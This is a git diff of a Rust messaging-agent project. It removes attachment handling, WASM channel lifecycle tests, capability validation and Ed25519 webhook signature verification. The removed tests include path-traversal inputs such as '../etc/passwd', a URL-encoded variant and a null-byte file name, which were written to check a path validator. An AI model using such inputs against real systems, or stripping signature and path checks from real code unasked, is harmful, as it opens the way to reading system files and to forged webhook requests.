let target = RecipientTarget::Group("abc123".to_string());
|
||||||
let params = ch.build_rpc_params(&target, None, None);
|
let params = ch.build_rpc_params(&target, None);
|
||||||
assert_eq!(params["groupId"], "abc123");
|
assert_eq!(params["groupId"], "abc123");
|
||||||
assert_eq!(params["account"], "+1234567890");
|
assert_eq!(params["account"], "+1234567890");
|
||||||
assert!(params.get("message").is_none());
|
assert!(params.get("message").is_none());
|
||||||
@@ -2095,94 +1975,11 @@ mod tests {
|
|||||||
let ch = make_channel()?;
|
let ch = make_channel()?;
|
||||||
let uuid = "a1b2c3d4-e5f6-7890-abcd-ef1234567890";
|
let uuid = "a1b2c3d4-e5f6-7890-abcd-ef1234567890";
|
||||||
let target = RecipientTarget::Direct(uuid.to_string());
|
let target = RecipientTarget::Direct(uuid.to_string());
|
||||||
let params = ch.build_rpc_params(&target, Some("hi"), None);
|
let params = ch.build_rpc_params(&target, Some("hi"));
|
||||||
assert_eq!(params["recipient"], serde_json::json!([uuid]));
|
assert_eq!(params["recipient"], serde_json::json!([uuid]));
|
||||||
Ok(())
|
Ok(())
|
||||||
}
|
}
|
||||||
|
|
||||||
// ── build_rpc_params with attachments tests ─────────────────────────
|
|
||||||
|
|
||||||
#[test]
|
|
||||||
fn build_rpc_params_with_attachments() -> Result<(), ChannelError> {
|
|
||||||
let ch = make_channel()?;
|
|
||||||
let target = RecipientTarget::Direct("+5555555555".to_string());
|
|
||||||
let attachments = vec!["/path/to/image.png".to_string()];
|
|
||||||
let params = ch.build_rpc_params(&target, Some("Check this!"), Some(&attachments));
|
|
||||||
assert_eq!(params["recipient"], serde_json::json!(["+5555555555"]));
|
|
||||||
assert_eq!(params["message"], "Check this!");
|
|
||||||
assert_eq!(
|
|
||||||
params["attachments"],
|
|
||||||
serde_json::json!(["/path/to/image.png"])
|
|
||||||
);
|
|
||||||
Ok(())
|
|
||||||
}
|
|
||||||
|
|
||||||
#[test]
|
|
||||||
fn build_rpc_params_with_multiple_attachments() -> Result<(), ChannelError> {
|
|
||||||
let ch = make_channel()?;
|
|
||||||
let target = RecipientTarget::Direct("+5555555555".to_string());
|
|
||||||
let attachments = vec![
|
|
||||||
"/path/to/image.png".to_string(),
|
|
||||||
"/path/to/document.pdf".to_string(),
|
|
||||||
];
|
|
||||||
let params = ch.build_rpc_params(&target, Some("Files attached"), Some(&attachments));
|
|
||||||
assert_eq!(
|
|
||||||
params["attachments"],
|
|
||||||
serde_json::json!(["/path/to/image.png", "/path/to/document.pdf"])
|
|
||||||
);
|
|
||||||
Ok(())
|
|
||||||
}
|
|
||||||
|
|
||||||
#[test]
|
|
||||||
fn build_rpc_params_with_attachments_no_message() -> Result<(), ChannelError> {
|
|
||||||
let ch = make_channel()?;
|
|
||||||
let target = RecipientTarget::Direct("+5555555555".to_string());
|
|
||||||
let attachments = vec!["/path/to/image.png".to_string()];
|
|
||||||
let params = ch.build_rpc_params(&target, None, Some(&attachments));
|
|
||||||
assert!(params.get("message").is_none());
|
|
||||||
assert_eq!(
|
|
||||||
params["attachments"],
|
|
||||||
serde_json::json!(["/path/to/image.png"])
|
|
||||||
);
|
|
||||||
Ok(())
|
|
||||||
}
|
|
||||||
|
|
||||||
#[test]
|
|
||||||
fn build_rpc_params_group_with_attachments() -> Result<(), ChannelError> {
|
|
||||||
let ch = make_channel()?;
|
|
||||||
let target = RecipientTarget::Group("abc123".to_string());
|
|
||||||
let attachments = vec!["/path/to/photo.jpg".to_string()];
|
|
||||||
let params = ch.build_rpc_params(&target, Some("Group photo"), Some(&attachments));
|
|
||||||
assert_eq!(params["groupId"], "abc123");
|
|
||||||
assert_eq!(params["message"], "Group photo");
|
|
||||||
assert_eq!(
|
|
||||||
params["attachments"],
|
|
||||||
serde_json::json!(["/path/to/photo.jpg"])
|
|
||||||
);
|
|
||||||
Ok(())
|
|
||||||
}
|
|
||||||
|
|
||||||
// ── OutgoingResponse attachment tests ─────────────────────────────
|
|
||||||
|
|
||||||
#[test]
|
|
||||||
fn outgoing_response_with_attachments() {
|
|
||||||
let response = OutgoingResponse::text("Hello with file")
|
|
||||||
.with_attachments(vec!["/path/to/file.png".to_string()]);
|
|
||||||
assert_eq!(response.content, "Hello with file");
|
|
||||||
assert!(
|
|
||||||
response
|
|
||||||
.attachments
|
|
||||||
.contains(&"/path/to/file.png".to_string())
|
|
||||||
);
|
|
||||||
}
|
|
||||||
|
|
||||||
#[test]
|
|
||||||
fn outgoing_response_text_empty_attachments() {
|
|
||||||
let response = OutgoingResponse::text("Hello");
|
|
||||||
assert_eq!(response.content, "Hello");
|
|
||||||
assert!(response.attachments.is_empty());
|
|
||||||
}
|
|
||||||
|
|
||||||
// ── metadata assertion tests ────────────────────────────────────
|
// ── metadata assertion tests ────────────────────────────────────
|
||||||
|
|
||||||
#[test]
|
#[test]
|
||||||
@@ -2653,114 +2450,4 @@ mod tests {
|
|||||||
assert_eq!(ch.config.http_url, "http://127.0.0.1:8686");
|
assert_eq!(ch.config.http_url, "http://127.0.0.1:8686");
|
||||||
Ok(())
|
Ok(())
|
||||||
}
|
}
|
||||||
|
|
||||||
// ── attachment path validation ───────────────────────────────────
|
|
||||||
|
|
||||||
#[test]
|
|
||||||
fn validate_attachment_paths_rejects_double_dot() {
|
|
||||||
let paths = vec!["../etc/passwd".to_string()];
|
|
||||||
let result = SignalChannel::validate_attachment_paths(&paths);
|
|
||||||
assert!(result.is_err());
|
|
||||||
let err = result.unwrap_err().to_string();
|
|
||||||
assert!(err.contains("forbidden") || err.contains("sandbox"));
|
|
||||||
}
|
|
||||||
|
|
||||||
#[test]
|
|
||||||
fn validate_attachment_paths_accepts_normal_paths() {
|
|
||||||
use std::fs;
|
|
||||||
|
|
||||||
// Create test files in sandbox
|
|
||||||
let base_dir = crate::bootstrap::ironclaw_base_dir();
|
|
||||||
|
|
||||||
// Create sandbox directory if it doesn't exist (needed for CI)
|
|
||||||
let _ = fs::create_dir_all(&base_dir);
|
|
||||||
|
|
||||||
let temp_dir = tempfile::tempdir_in(&base_dir).unwrap();
|
|
||||||
let file1 = temp_dir.path().join("file.txt");
|
|
||||||
let file2 = temp_dir.path().join("report.pdf");
|
|
||||||
fs::write(&file1, "test").unwrap();
|
|
||||||
fs::write(&file2, "test").unwrap();
|
|
||||||
|
|
||||||
let paths = vec![
|
|
||||||
file1.to_string_lossy().to_string(),
|
|
||||||
file2.to_string_lossy().to_string(),
|
|
||||||
];
|
|
||||||
let result = SignalChannel::validate_attachment_paths(&paths);
|
|
||||||
assert!(result.is_ok());
|
|
||||||
}
|
|
||||||
|
|
||||||
#[test]
|
|
||||||
fn validate_attachment_paths_rejects_nested_traversal() {
|
|
||||||
let paths = vec!["foo/../bar/../../secret.txt".to_string()];
|
|
||||||
let result = SignalChannel::validate_attachment_paths(&paths);
|
|
||||||
assert!(result.is_err());
|
|
||||||
}
|
|
||||||
|
|
||||||
#[test]
|
|
||||||
fn validate_attachment_paths_empty_ok() {
|
|
||||||
let paths: Vec<String> = vec![];
|
|
||||||
let result = SignalChannel::validate_attachment_paths(&paths);
|
|
||||||
assert!(result.is_ok());
|
|
||||||
}
|
|
||||||
|
|
||||||
#[test]
|
|
||||||
fn validate_attachment_paths_rejects_path_outside_sandbox() {
|
|
||||||
let paths = vec!["/tmp/evil.txt".to_string()];
|
|
||||||
let result = SignalChannel::validate_attachment_paths(&paths);
|
|
||||||
assert!(result.is_err());
|
|
||||||
let err = result.unwrap_err().to_string();
|
|
||||||
assert!(err.contains("sandbox"));
|
|
||||||
}
|
|
||||||
|
|
||||||
#[test]
|
|
||||||
fn validate_attachment_paths_rejects_url_encoded_traversal() {
|
|
||||||
let paths = vec!["%2e%2e%2fetc/passwd".to_string()];
|
|
||||||
let result = SignalChannel::validate_attachment_paths(&paths);
|
|
||||||
assert!(result.is_err());
|
|
||||||
}
|
|
||||||
|
|
||||||
#[test]
|
|
||||||
fn validate_attachment_paths_rejects_null_byte() {
|
|
||||||
let paths = vec!["file\0.txt".to_string()];
|
|
||||||
let result = SignalChannel::validate_attachment_paths(&paths);
|
|
||||||
assert!(result.is_err());
|
|
||||||
}
|
|
||||||
|
|
||||||
// ── conversation context ───────────────────────────────────────────
|
|
||||||
|
|
||||||
#[test]
|
|
||||||
fn conversation_context_extracts_sender() {
|
|
||||||
let ch = SignalChannel::new(make_config()).unwrap();
|
|
||||||
let metadata = serde_json::json!({
|
|
||||||
"signal_sender": "+1234567890",
|
|
||||||
"signal_sender_uuid": "uuid-123",
|
|
||||||
"signal_target": "+0987654321"
|
|
||||||
});
|
|
||||||
let ctx = ch.conversation_context(&metadata);
|
|
||||||
assert_eq!(ctx.get("sender"), Some(&"+1234567890".to_string()));
|
|
||||||
assert_eq!(ctx.get("sender_uuid"), Some(&"uuid-123".to_string()));
|
|
||||||
assert!(!ctx.contains_key("group"));
|
|
||||||
}
|
|
||||||
|
|
||||||
#[test]
|
|
||||||
fn conversation_context_extracts_group() {
|
|
||||||
let ch = SignalChannel::new(make_config()).unwrap();
|
|
||||||
let metadata = serde_json::json!({
|
|
||||||
"signal_sender": "+1234567890",
|
|
||||||
"signal_target": "group:mygroup"
|
|
||||||
});
|
|
||||||
let ctx = ch.conversation_context(&metadata);
|
|
||||||
assert_eq!(ctx.get("sender"), Some(&"+1234567890".to_string()));
|
|
||||||
assert_eq!(ctx.get("group"), Some(&"group:mygroup".to_string()));
|
|
||||||
}
|
|
||||||
|
|
||||||
#[test]
|
|
||||||
fn conversation_context_empty_for_unknown_channel() {
|
|
||||||
let ch = SignalChannel::new(make_config()).unwrap();
|
|
||||||
let metadata = serde_json::json!({
|
|
||||||
"unknown_key": "value"
|
|
||||||
});
|
|
||||||
let ctx = ch.conversation_context(&metadata);
|
|
||||||
assert!(ctx.is_empty());
|
|
||||||
}
|
|
||||||
}
|
}
|
||||||
|
|||||||
@@ -594,170 +594,4 @@ mod tests {
|
|||||||
Some("200".to_string())
|
Some("200".to_string())
|
||||||
);
|
);
|
||||||
}
|
}
|
||||||
|
|
||||||
// === QA Plan P2 - 2.3: WASM channel lifecycle tests ===
|
|
||||||
|
|
||||||
#[test]
|
|
||||||
fn test_workspace_write_then_read_round_trip() {
|
|
||||||
// Full lifecycle: write in one "callback", commit, then read in a
|
|
||||||
// subsequent "callback" using the same store as the workspace reader.
|
|
||||||
use crate::channels::wasm::host::ChannelWorkspaceStore;
|
|
||||||
use crate::tools::wasm::{WorkspaceCapability, WorkspaceReader};
|
|
||||||
use std::sync::Arc;
|
|
||||||
|
|
||||||
let store = Arc::new(ChannelWorkspaceStore::new());
|
|
||||||
|
|
||||||
// --- Callback 1: write workspace data ---
|
|
||||||
let caps = ChannelCapabilities::for_channel("telegram");
|
|
||||||
let mut state = ChannelHostState::new("telegram", caps);
|
|
||||||
|
|
||||||
state
|
|
||||||
.workspace_write("offset", "12345".to_string())
|
|
||||||
.unwrap();
|
|
||||||
state
|
|
||||||
.workspace_write("state.json", r#"{"ok":true}"#.to_string())
|
|
||||||
.unwrap();
|
|
||||||
|
|
||||||
let writes = state.take_pending_writes();
|
|
||||||
assert_eq!(writes.len(), 2);
|
|
||||||
store.commit_writes(&writes);
|
|
||||||
|
|
||||||
// --- Callback 2: read back the data written in callback 1 ---
|
|
||||||
// Build capabilities with the store as the workspace reader.
|
|
||||||
let mut caps2 = ChannelCapabilities::for_channel("telegram");
|
|
||||||
caps2.tool_capabilities.workspace_read = Some(WorkspaceCapability {
|
|
||||||
allowed_prefixes: vec![], // empty = all paths allowed
|
|
||||||
reader: Some(Arc::clone(&store) as Arc<dyn WorkspaceReader>),
|
|
||||||
});
|
|
||||||
let state2 = ChannelHostState::new("telegram", caps2);
|
|
||||||
|
|
||||||
// workspace_read prefixes path with "channels/telegram/" before delegating.
|
|
||||||
let offset = state2.workspace_read("offset").unwrap();
|
|
||||||
assert_eq!(offset, Some("12345".to_string()));
|
|
||||||
|
|
||||||
let json = state2.workspace_read("state.json").unwrap();
|
|
||||||
assert_eq!(json, Some(r#"{"ok":true}"#.to_string()));
|
|
||||||
|
|
||||||
// Non-existent key returns None.
|
|
||||||
let missing = state2.workspace_read("no_such_key").unwrap();
|
|
||||||
assert!(missing.is_none());
|
|
||||||
}
|
|
||||||
|
|
||||||
#[test]
|
|
||||||
fn test_workspace_overwrite_across_callbacks() {
|
|
||||||
// Verify that a second write to the same key overwrites the first.
|
|
||||||
use crate::channels::wasm::host::ChannelWorkspaceStore;
|
|
||||||
use crate::tools::wasm::{WorkspaceCapability, WorkspaceReader};
|
|
||||||
use std::sync::Arc;
|
|
||||||
|
|
||||||
let store = Arc::new(ChannelWorkspaceStore::new());
|
|
||||||
|
|
||||||
// Callback 1: write initial value.
|
|
||||||
let caps = ChannelCapabilities::for_channel("slack");
|
|
||||||
let mut state = ChannelHostState::new("slack", caps);
|
|
||||||
state.workspace_write("cursor", "100".to_string()).unwrap();
|
|
||||||
let writes = state.take_pending_writes();
|
|
||||||
store.commit_writes(&writes);
|
|
||||||
|
|
||||||
// Callback 2: overwrite the same key.
|
|
||||||
let caps2 = ChannelCapabilities::for_channel("slack");
|
|
||||||
let mut state2 = ChannelHostState::new("slack", caps2);
|
|
||||||
state2.workspace_write("cursor", "200".to_string()).unwrap();
|
|
||||||
let writes2 = state2.take_pending_writes();
|
|
||||||
store.commit_writes(&writes2);
|
|
||||||
|
|
||||||
// Callback 3: read back -- should see the overwritten value.
|
|
||||||
let mut caps3 = ChannelCapabilities::for_channel("slack");
|
|
||||||
caps3.tool_capabilities.workspace_read = Some(WorkspaceCapability {
|
|
||||||
allowed_prefixes: vec![],
|
|
||||||
reader: Some(Arc::clone(&store) as Arc<dyn WorkspaceReader>),
|
|
||||||
});
|
|
||||||
let state3 = ChannelHostState::new("slack", caps3);
|
|
||||||
|
|
||||||
let value = state3.workspace_read("cursor").unwrap();
|
|
||||||
assert_eq!(value, Some("200".to_string()));
|
|
||||||
}
|
|
||||||
|
|
||||||
#[test]
|
|
||||||
fn test_emit_and_take_preserves_order_and_content() {
|
|
||||||
// Emit multiple messages, take them, verify order and content.
|
|
||||||
let caps = ChannelCapabilities::for_channel("discord");
|
|
||||||
let mut state = ChannelHostState::new("discord", caps);
|
|
||||||
|
|
||||||
let messages_data = vec![
|
|
||||||
("user-a", "Hello from A"),
|
|
||||||
("user-b", "Hello from B"),
|
|
||||||
("user-a", "Follow-up from A"),
|
|
||||||
];
|
|
||||||
for (uid, content) in &messages_data {
|
|
||||||
state
|
|
||||||
.emit_message(EmittedMessage::new(*uid, *content))
|
|
||||||
.unwrap();
|
|
||||||
}
|
|
||||||
|
|
||||||
assert_eq!(state.emitted_count(), 3);
|
|
||||||
|
|
||||||
let taken = state.take_emitted_messages();
|
|
||||||
assert_eq!(taken.len(), 3);
|
|
||||||
|
|
||||||
// Order preserved.
|
|
||||||
for (i, (uid, content)) in messages_data.iter().enumerate() {
|
|
||||||
assert_eq!(taken[i].user_id, *uid);
|
|
||||||
assert_eq!(taken[i].content, *content);
|
|
||||||
}
|
|
||||||
|
|
||||||
// Take empties the queue.
|
|
||||||
assert_eq!(state.emitted_count(), 0);
|
|
||||||
let taken2 = state.take_emitted_messages();
|
|
||||||
assert!(taken2.is_empty());
|
|
||||||
}
|
|
||||||
|
|
||||||
#[test]
|
|
||||||
fn test_channels_have_isolated_namespaces() {
|
|
||||||
// Two channels writing to the same relative path should not collide.
|
|
||||||
use crate::channels::wasm::host::ChannelWorkspaceStore;
|
|
||||||
use crate::tools::wasm::{WorkspaceCapability, WorkspaceReader};
|
|
||||||
use std::sync::Arc;
|
|
||||||
|
|
||||||
let store = Arc::new(ChannelWorkspaceStore::new());
|
|
||||||
|
|
||||||
// Telegram writes "offset" = "100".
|
|
||||||
let caps_tg = ChannelCapabilities::for_channel("telegram");
|
|
||||||
let mut state_tg = ChannelHostState::new("telegram", caps_tg);
|
|
||||||
state_tg
|
|
||||||
.workspace_write("offset", "100".to_string())
|
|
||||||
.unwrap();
|
|
||||||
store.commit_writes(&state_tg.take_pending_writes());
|
|
||||||
|
|
||||||
// Slack writes "offset" = "200".
|
|
||||||
let caps_sl = ChannelCapabilities::for_channel("slack");
|
|
||||||
let mut state_sl = ChannelHostState::new("slack", caps_sl);
|
|
||||||
state_sl
|
|
||||||
.workspace_write("offset", "200".to_string())
|
|
||||||
.unwrap();
|
|
||||||
store.commit_writes(&state_sl.take_pending_writes());
|
|
||||||
|
|
||||||
// Reading back: each channel sees its own value.
|
|
||||||
let mut caps_tg_read = ChannelCapabilities::for_channel("telegram");
|
|
||||||
caps_tg_read.tool_capabilities.workspace_read = Some(WorkspaceCapability {
|
|
||||||
allowed_prefixes: vec![],
|
|
||||||
reader: Some(Arc::clone(&store) as Arc<dyn WorkspaceReader>),
|
|
||||||
});
|
|
||||||
let tg_reader = ChannelHostState::new("telegram", caps_tg_read);
|
|
||||||
assert_eq!(
|
|
||||||
tg_reader.workspace_read("offset").unwrap(),
|
|
||||||
Some("100".to_string())
|
|
||||||
);
|
|
||||||
|
|
||||||
let mut caps_sl_read = ChannelCapabilities::for_channel("slack");
|
|
||||||
caps_sl_read.tool_capabilities.workspace_read = Some(WorkspaceCapability {
|
|
||||||
allowed_prefixes: vec![],
|
|
||||||
reader: Some(Arc::clone(&store) as Arc<dyn WorkspaceReader>),
|
|
||||||
});
|
|
||||||
let sl_reader = ChannelHostState::new("slack", caps_sl_read);
|
|
||||||
assert_eq!(
|
|
||||||
sl_reader.workspace_read("offset").unwrap(),
|
|
||||||
Some("200".to_string())
|
|
||||||
);
|
|
||||||
}
|
|
||||||
}
|
}
|
||||||
|
|||||||
@@ -11,45 +11,28 @@ use std::sync::Arc;
|
|||||||
|
|
||||||
use tokio::fs;
|
use tokio::fs;
|
||||||
|
|
||||||
use crate::bootstrap::ironclaw_base_dir;
|
|
||||||
use crate::channels::wasm::capabilities::ChannelCapabilities;
|
use crate::channels::wasm::capabilities::ChannelCapabilities;
|
||||||
use crate::channels::wasm::error::WasmChannelError;
|
use crate::channels::wasm::error::WasmChannelError;
|
||||||
use crate::channels::wasm::runtime::WasmChannelRuntime;
|
use crate::channels::wasm::runtime::WasmChannelRuntime;
|
||||||
use crate::channels::wasm::schema::ChannelCapabilitiesFile;
|
use crate::channels::wasm::schema::ChannelCapabilitiesFile;
|
||||||
use crate::channels::wasm::wrapper::WasmChannel;
|
use crate::channels::wasm::wrapper::WasmChannel;
|
||||||
use crate::db::SettingsStore;
|
|
||||||
use crate::pairing::PairingStore;
|
use crate::pairing::PairingStore;
|
||||||
use crate::secrets::SecretsStore;
|
|
||||||
|
|
||||||
/// Loads WASM channels from the filesystem.
|
/// Loads WASM channels from the filesystem.
|
||||||
pub struct WasmChannelLoader {
|
pub struct WasmChannelLoader {
|
||||||
runtime: Arc<WasmChannelRuntime>,
|
runtime: Arc<WasmChannelRuntime>,
|
||||||
pairing_store: Arc<PairingStore>,
|
pairing_store: Arc<PairingStore>,
|
||||||
settings_store: Option<Arc<dyn SettingsStore>>,
|
|
||||||
secrets_store: Option<Arc<dyn SecretsStore + Send + Sync>>,
|
|
||||||
}
|
}
|
||||||
|
|
||||||
impl WasmChannelLoader {
|
impl WasmChannelLoader {
|
||||||
/// Create a new loader with the given runtime and pairing store.
|
/// Create a new loader with the given runtime and pairing store.
|
||||||
pub fn new(
|
pub fn new(runtime: Arc<WasmChannelRuntime>, pairing_store: Arc<PairingStore>) -> Self {
|
||||||
runtime: Arc<WasmChannelRuntime>,
|
|
||||||
pairing_store: Arc<PairingStore>,
|
|
||||||
settings_store: Option<Arc<dyn SettingsStore>>,
|
|
||||||
) -> Self {
|
|
||||||
Self {
|
Self {
|
||||||
runtime,
|
runtime,
|
||||||
pairing_store,
|
pairing_store,
|
||||||
settings_store,
|
|
||||||
secrets_store: None,
|
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|
||||||
/// Set the secrets store for host-based credential injection in WASM channels.
|
|
||||||
pub fn with_secrets_store(mut self, store: Arc<dyn SecretsStore + Send + Sync>) -> Self {
|
|
||||||
self.secrets_store = Some(store);
|
|
||||||
self
|
|
||||||
}
|
|
||||||
|
|
||||||
/// Load a single WASM channel from a file pair.
|
/// Load a single WASM channel from a file pair.
|
||||||
///
|
///
|
||||||
/// Expects:
|
/// Expects:
|
||||||
@@ -81,7 +64,6 @@ impl WasmChannelLoader {
|
|||||||
let cap_bytes = fs::read(cap_path).await?;
|
let cap_bytes = fs::read(cap_path).await?;
|
||||||
let cap_file = ChannelCapabilitiesFile::from_bytes(&cap_bytes)
|
let cap_file = ChannelCapabilitiesFile::from_bytes(&cap_bytes)
|
||||||
.map_err(|e| WasmChannelError::InvalidCapabilities(e.to_string()))?;
|
.map_err(|e| WasmChannelError::InvalidCapabilities(e.to_string()))?;
|
||||||
cap_file.validate();
|
|
||||||
|
|
||||||
// Debug: log raw capabilities
|
// Debug: log raw capabilities
|
||||||
tracing::debug!(
|
tracing::debug!(
|
||||||
@@ -137,17 +119,13 @@ impl WasmChannelLoader {
|
|||||||
.await?;
|
.await?;
|
||||||
|
|
||||||
// Create the channel
|
// Create the channel
|
||||||
let mut channel = WasmChannel::new(
|
let channel = WasmChannel::new(
|
||||||
self.runtime.clone(),
|
self.runtime.clone(),
|
||||||
prepared,
|
prepared,
|
||||||
capabilities,
|
capabilities,
|
||||||
config_json,
|
config_json,
|
||||||
self.pairing_store.clone(),
|
self.pairing_store.clone(),
|
||||||
self.settings_store.clone(),
|
|
||||||
);
|
);
|
||||||
if let Some(ref secrets) = self.secrets_store {
|
|
||||||
channel = channel.with_secrets_store(Arc::clone(secrets));
|
|
||||||
}
|
|
||||||
|
|
||||||
tracing::info!(
|
tracing::info!(
|
||||||
name = name,
|
name = name,
|
||||||
@@ -270,13 +248,6 @@ impl LoadedChannel {
|
|||||||
.and_then(|f| f.webhook_secret_header())
|
.and_then(|f| f.webhook_secret_header())
|
||||||
}
|
}
|
||||||
|
|
||||||
/// Get the signature verification key secret name from capabilities.
|
|
||||||
pub fn signature_key_secret_name(&self) -> Option<String> {
|
|
||||||
self.capabilities_file
|
|
||||||
.as_ref()
|
|
||||||
.and_then(|f| f.signature_key_secret_name().map(|s| s.to_string()))
|
|
||||||
}
|
|
||||||
|
|
||||||
/// Get the webhook secret name from capabilities.
|
/// Get the webhook secret name from capabilities.
|
||||||
pub fn webhook_secret_name(&self) -> String {
|
pub fn webhook_secret_name(&self) -> String {
|
||||||
self.capabilities_file
|
self.capabilities_file
|
||||||
@@ -378,7 +349,10 @@ pub struct DiscoveredChannel {
|
|||||||
/// Returns ~/.ironclaw/channels/
|
/// Returns ~/.ironclaw/channels/
|
||||||
#[allow(dead_code)]
|
#[allow(dead_code)]
|
||||||
pub fn default_channels_dir() -> PathBuf {
|
pub fn default_channels_dir() -> PathBuf {
|
||||||
ironclaw_base_dir().join("channels")
|
dirs::home_dir()
|
||||||
|
.unwrap_or_else(|| PathBuf::from("."))
|
||||||
|
.join(".ironclaw")
|
||||||
|
.join("channels")
|
||||||
}
|
}
|
||||||
|
|
||||||
#[cfg(test)]
|
#[cfg(test)]
|
||||||
@@ -442,23 +416,11 @@ mod tests {
|
|||||||
assert!(channels.contains_key("channel"));
|
assert!(channels.contains_key("channel"));
|
||||||
}
|
}
|
||||||
|
|
||||||
#[test]
|
|
||||||
fn test_loaded_channel_signature_key_none_without_caps() {
|
|
||||||
// We can't easily construct a WasmChannel without a runtime, so test
|
|
||||||
// the delegation logic directly: when capabilities_file is None, the
|
|
||||||
// chain returns None (same logic as LoadedChannel::signature_key_secret_name).
|
|
||||||
let cap_file: Option<crate::channels::wasm::schema::ChannelCapabilitiesFile> = None;
|
|
||||||
let result = cap_file
|
|
||||||
.as_ref()
|
|
||||||
.and_then(|f| f.signature_key_secret_name().map(|s| s.to_string()));
|
|
||||||
assert_eq!(result, None);
|
|
||||||
}
|
|
||||||
|
|
||||||
#[tokio::test]
|
#[tokio::test]
|
||||||
async fn test_loader_invalid_name() {
|
async fn test_loader_invalid_name() {
|
||||||
let config = WasmChannelRuntimeConfig::for_testing();
|
let config = WasmChannelRuntimeConfig::for_testing();
|
||||||
let runtime = Arc::new(WasmChannelRuntime::new(config).unwrap());
|
let runtime = Arc::new(WasmChannelRuntime::new(config).unwrap());
|
||||||
let loader = WasmChannelLoader::new(runtime, Arc::new(PairingStore::new()), None);
|
let loader = WasmChannelLoader::new(runtime, Arc::new(PairingStore::new()));
|
||||||
|
|
||||||
let dir = TempDir::new().unwrap();
|
let dir = TempDir::new().unwrap();
|
||||||
let wasm_path = dir.path().join("test.wasm");
|
let wasm_path = dir.path().join("test.wasm");
|
||||||
|
|||||||
@@ -86,7 +86,6 @@ mod loader;
|
|||||||
mod router;
|
mod router;
|
||||||
mod runtime;
|
mod runtime;
|
||||||
mod schema;
|
mod schema;
|
||||||
pub(crate) mod signature;
|
|
||||||
mod wrapper;
|
mod wrapper;
|
||||||
|
|
||||||
// Core types
|
// Core types
|
||||||
|
|||||||
@@ -42,8 +42,6 @@ pub struct WasmChannelRouter {
|
|||||||
secrets: RwLock<HashMap<String, String>>,
|
secrets: RwLock<HashMap<String, String>>,
|
||||||
/// Webhook secret header names by channel name (e.g., "X-Telegram-Bot-Api-Secret-Token").
|
/// Webhook secret header names by channel name (e.g., "X-Telegram-Bot-Api-Secret-Token").
|
||||||
secret_headers: RwLock<HashMap<String, String>>,
|
secret_headers: RwLock<HashMap<String, String>>,
|
||||||
/// Ed25519 public keys for signature verification by channel name (hex-encoded).
|
|
||||||
signature_keys: RwLock<HashMap<String, String>>,
|
|
||||||
}
|
}
|
||||||
|
|
||||||
impl WasmChannelRouter {
|
impl WasmChannelRouter {
|
||||||
@@ -54,7 +52,6 @@ impl WasmChannelRouter {
|
|||||||
path_to_channel: RwLock::new(HashMap::new()),
|
path_to_channel: RwLock::new(HashMap::new()),
|
||||||
secrets: RwLock::new(HashMap::new()),
|
secrets: RwLock::new(HashMap::new()),
|
||||||
secret_headers: RwLock::new(HashMap::new()),
|
secret_headers: RwLock::new(HashMap::new()),
|
||||||
signature_keys: RwLock::new(HashMap::new()),
|
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|
||||||
@@ -133,7 +130,6 @@ impl WasmChannelRouter {
|
|||||||
self.channels.write().await.remove(channel_name);
|
self.channels.write().await.remove(channel_name);
|
||||||
self.secrets.write().await.remove(channel_name);
|
self.secrets.write().await.remove(channel_name);
|
||||||
self.secret_headers.write().await.remove(channel_name);
|
self.secret_headers.write().await.remove(channel_name);
|
||||||
self.signature_keys.write().await.remove(channel_name);
|
|
||||||
|
|
||||||
// Remove all paths for this channel
|
// Remove all paths for this channel
|
||||||
self.path_to_channel
|
self.path_to_channel
|
||||||
@@ -178,36 +174,6 @@ impl WasmChannelRouter {
|
|||||||
pub async fn list_paths(&self) -> Vec<String> {
|
pub async fn list_paths(&self) -> Vec<String> {
|
||||||
self.path_to_channel.read().await.keys().cloned().collect()
|
self.path_to_channel.read().await.keys().cloned().collect()
|
||||||
}
|
}
|
||||||
|
|
||||||
/// Register an Ed25519 public key for signature verification.
|
|
||||||
///
|
|
||||||
/// Validates that the key is valid hex encoding of a 32-byte Ed25519 public key.
|
|
||||||
/// Channels with a registered key will have Discord-style Ed25519
|
|
||||||
/// signature validation performed before forwarding to WASM.
|
|
||||||
pub async fn register_signature_key(
|
|
||||||
&self,
|
|
||||||
channel_name: &str,
|
|
||||||
public_key_hex: &str,
|
|
||||||
) -> Result<(), String> {
|
|
||||||
use ed25519_dalek::VerifyingKey;
|
|
||||||
|
|
||||||
let key_bytes = hex::decode(public_key_hex).map_err(|e| format!("invalid hex: {e}"))?;
|
|
||||||
VerifyingKey::try_from(key_bytes.as_slice())
|
|
||||||
.map_err(|e| format!("invalid Ed25519 public key: {e}"))?;
|
|
||||||
|
|
||||||
self.signature_keys
|
|
||||||
.write()
|
|
||||||
.await
|
|
||||||
.insert(channel_name.to_string(), public_key_hex.to_string());
|
|
||||||
Ok(())
|
|
||||||
}
|
|
||||||
|
|
||||||
/// Get the signature verification key for a channel.
|
|
||||||
///
|
|
||||||
/// Returns `None` if no key is registered (no signature check needed).
|
|
||||||
pub async fn get_signature_key(&self, channel_name: &str) -> Option<String> {
|
|
||||||
self.signature_keys.read().await.get(channel_name).cloned()
|
|
||||||
}
|
|
||||||
}
|
}
|
||||||
|
|
||||||
impl Default for WasmChannelRouter {
|
impl Default for WasmChannelRouter {
|
||||||
@@ -376,57 +342,6 @@ async fn webhook_handler(
|
|||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|
||||||
// Ed25519 signature verification (Discord-style)
|
|
||||||
if let Some(pub_key_hex) = state.router.get_signature_key(channel_name).await {
|
|
||||||
let sig_hex = headers
|
|
||||||
.get("x-signature-ed25519")
|
|
||||||
.and_then(|v| v.to_str().ok());
|
|
||||||
let timestamp = headers
|
|
||||||
.get("x-signature-timestamp")
|
|
||||||
.and_then(|v| v.to_str().ok());
|
|
||||||
|
|
||||||
match (sig_hex, timestamp) {
|
|
||||||
(Some(sig), Some(ts)) => {
|
|
||||||
let now_secs = std::time::SystemTime::now()
|
|
||||||
.duration_since(std::time::UNIX_EPOCH)
|
|
||||||
.unwrap_or_default()
|
|
||||||
.as_secs() as i64;
|
|
||||||
|
|
||||||
if !crate::channels::wasm::signature::verify_discord_signature(
|
|
||||||
&pub_key_hex,
|
|
||||||
sig,
|
|
||||||
ts,
|
|
||||||
&body,
|
|
||||||
now_secs,
|
|
||||||
) {
|
|
||||||
tracing::warn!(
|
|
||||||
channel = %channel_name,
|
|
||||||
"Ed25519 signature verification failed"
|
|
||||||
);
|
|
||||||
return (
|
|
||||||
StatusCode::UNAUTHORIZED,
|
|
||||||
Json(serde_json::json!({
|
|
||||||
